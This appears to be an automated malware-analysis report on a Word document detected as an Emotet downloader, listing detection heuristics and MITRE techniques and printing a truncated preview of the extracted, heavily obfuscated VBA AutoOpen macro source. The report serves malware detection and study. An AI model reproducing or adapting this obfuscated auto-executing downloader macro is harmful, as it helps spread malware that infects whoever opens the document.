MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The sample contains VBA macros, including an AutoOpen macro, and a critical Shell() call, indicating it is designed to execute arbitrary code. ClamAV identifies the file as Doc.Downloader.Emotet-6884042-0, strongly suggesting it's part of the Emotet botnet infrastructure. The primary function appears to be downloading and executing a second-stage payload.
Heuristics 6
-
ClamAV: Doc.Downloader.Emotet-6884042-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-6884042-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 235370 bytes |
SHA-256: 6fa8741a497851012296616013d2d7fb0d2009bc33ace10e729d52c0f92583fc |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "NfFDdtaOjOfiW"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim UsEOi(2)
UsEOi(0) = MidB(rDBSPYs + DJvDANfTiTEQEvIBzn + dlAFHj, 749, 934) + MidB(nuGsKJG + vwHhawNUPquZdSAHQvj + adKOLk, 973, 900)
UsEOi(1) = Left(icVDZG + SjLjNRZsJzEiqHzoR + RvPLwHz, 295) + Mid(oZNEF + tsmrovkPRivbRhPPTCS + dizQEBG, 708, 316)
Dim SazNa(1)
SazNa(0) = Right(LMQijc + ENODrzuiZzoXzjuF + lwTodFs, 175) + Right(DktEKpT + VjVodIvpSBoWTOvONO + ZttEdCM, 146) + MidB(ZiGPK + iCCqDrhWlvuFPvvujE + cLokz, 966, 326) + MidB(FifLC + CMAGRRHbGSLUbQBai + kFFir, 782, 429)
Dim YQscAp(2)
YQscAp(0) = MidB(qSTzjiF + qXNaiJOGKfOKtftWpnPia + JJjNlw, 418, 350) + MidB(VUuGdVBi + fYnFMsqAbsmzFWkY + szmYCrzL, 347, 258) + Right(OtkVdBt + RTBicpGwRFOcnhKBFf + rHdMOj, 868) + Right(kNbjkpa + mTvuPlFLvqrrAiawcsp + aiPMtQs, 697)
YQscAp(1) = MidB(sPSzss + PzsntsabObzNNUlVtS + GscHS, 755, 235) + Right(WoZIp + CTSpdJavCEcGWMtmvRFZ + fUDJXE, 454)
Dim MAYrX(2)
MAYrX(0) = MidB(jLzjJ + FiowHPJPIvcvBiliAGKv + WFSOhhz, 885, 500) + Mid(CpOhw + QvuJJAlvfpYumlKrOia + VBiXiWw, 69, 435)
MAYrX(1) = MidB(coNvRdH + EBENmaWFVBpzNSOqYi + UHnaY, 295, 491) + Right(ojdTwVk + awAYpfbYzPQNjRwkAFHfkaBQ + LzdiiH, 772)
Dim sLwwK(2)
sLwwK(0) = Mid(jojwobb + WHAJlOQwqXEoVwifOwJY + UudzjcB, 213, 975) + Mid(mwbdvwL + drSlQQwtzNjQUnBDNW + lMvckBTz, 957, 90) + MidB(cbrhT + RBXCvKIHzHGBhZUlfu + PipcosvT, 705, 23) + MidB(oOKzHas + qwQSaSMhjJqDHsWPMd + THNTO, 403, 567)
sLwwK(1) = MidB(OvYfZ + wdHCUIkGltPEdTtwKNa + EbHcIisj, 659, 168) + MidB(WTkLVcN + NBYPWFmzzYZQwscXtNh + QCzIl, 787, 715)
Dim KwZsl(2)
KwZsl(0) = MidB(RrfMccuz + dYuwQrRuBJOcAZlEJaHs + VmUAK, 258, 950) + Left(QJiauEhb + hCOfisCJRbWfOmvHknLrhk + zrAcz, 311)
KwZsl(1) = Mid(HGGpHHDC + tdQnwzKGIVLGnDSupcG + ioAhIc, 694, 172) + Right(qvoLsD + JndwZLjTlIQqmIJwdB + MaTELz, 848)
Dim QqajNl(1)
QqajNl(0) = Right(DjIsJ + sLMzpjjFMwTFKOKzzISQ + unKwmTHw, 584) + Right(clXqCJ + ORXcLZhJGNZuPIDiSsqXbM + dmIwwzu, 648)
pkIwaME (KeyString(IwzcaV + zMVMOlH + 9 + 4 + 10 + 8 + 36 + SPwoOs + Cmijbdz) + qCFfFPQb + zzirbq + KeyString(lwdtGv + jcrViX + 10 + 5 + 11 + 9 + 42 + vFioMAi + VEcTuGtn) + lbVFHPcIfX + wOhtMjHCOT + zjYwrcwjb + lTZQHYaiB + lBRpaLXim + HcSslYq + ZjfUnXkLQ + QUAKbIVu + jZCiafBjwi + MmikGRb + HwsMQziw + YMkIBwJ + UlzDQZaB + LnmvFkvr + SKNfO + bDcXZwimhj + XLrEGfo + sNimKOwLj + ozwkiP + oYwAUWEB)
Dim iGomi(1)
iGomi(0) = MidB(VFHYUL + tCpwRaHfMGZMGwMprkj + iTNKjY, 389, 240) + Right(aUOEVco + ZYoFPHPIWUAXOzM + Hstmdfc, 718) + Mid(MDlacttO + ZJMqSQTrqXYBjfB + jWKRJRv, 687, 465) + MidB(jPiBzj + aOItOTwNZvNrmMzujBG + NUoAWWDz, 535, 646)
End Sub
Attribute VB_Name = "YcvwMSiKcP"
Function lbVFHPcIfX()
bqGSqnCf = "d " + CStr(Chr(6 + 7 + 7 + 2 + 25)) + "V" + CStr(Chr(6 + 7 + 7 + 2 + 25)) + "C" + CStr(Chr(4 + 4 + 5 + 1 + 20)) + "^" + "s" + "^e" + "^t" + " " + ";." + "'=" + "^0"
HLvJpLiOD = "^" + "5" + "3^" + " " + "^" + "0" + "1" + "9" + " " + "9^" + "5^" + "1" + "^" + " " + "9^"
wlpTiEMRBHu = "5" + "3^" + " " + "^" + "5" + "3" + "^0" + " 9" + "^" + "0^"
vFvlGiZbAD = "3^" + " " + "^1" + "0" + "3" + " " + "^" + "0^" + "9" + "^3" + " 5" + "^9" + "3" + " "
LuaWwvtHhA = "50" + "^" + "1 " + "5" + "^0" + "^1" + " 5" + "13" + "^ " + "^" + "9^" + "5"
kfczRBSz = "^0" + " 9" + "^1" + "^5" + "^" + " " + "^" + "5" + "^"
RUBXWll = "30" + " 3" + "1" + "^9" + " 1" + "^" + "5" + "3"
AXakww = "^ " + "5" + "^3" + "^1" + "}" + "^5" + "^1" + "^" + "3" + "^" + "}0" + "^" + "3^"
EbNiut = "1{" + "^" + "3" + "1" + "^" + "5^" + "h" + "0" + "^" + "9" + "5" + "c9" + "^3" + "0t" + "9"
Dim LOpnaC(1)
LOpnaC(0) = Left(vFZcsjXc + AjtWnSiUAGhjbCJjSG + IUWzZH, 444) + Left(JvpEjp + VviNlBGrRiNtfvJQREtXz + kCsirMiv, 955) + Right(FWSPF + slYdAfowKicYlMwROaRfzikB + jCzMhE, 313) + Right(BNpsZ + VmWtZBGRPbGPdijEHjP + vfLCmZh, 855)
Dim UZsnj(1)
UZsnj(0) = Mid(iXlwaa + PWamUjVJEAPQGuihWfv + CYFhvjBW,
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.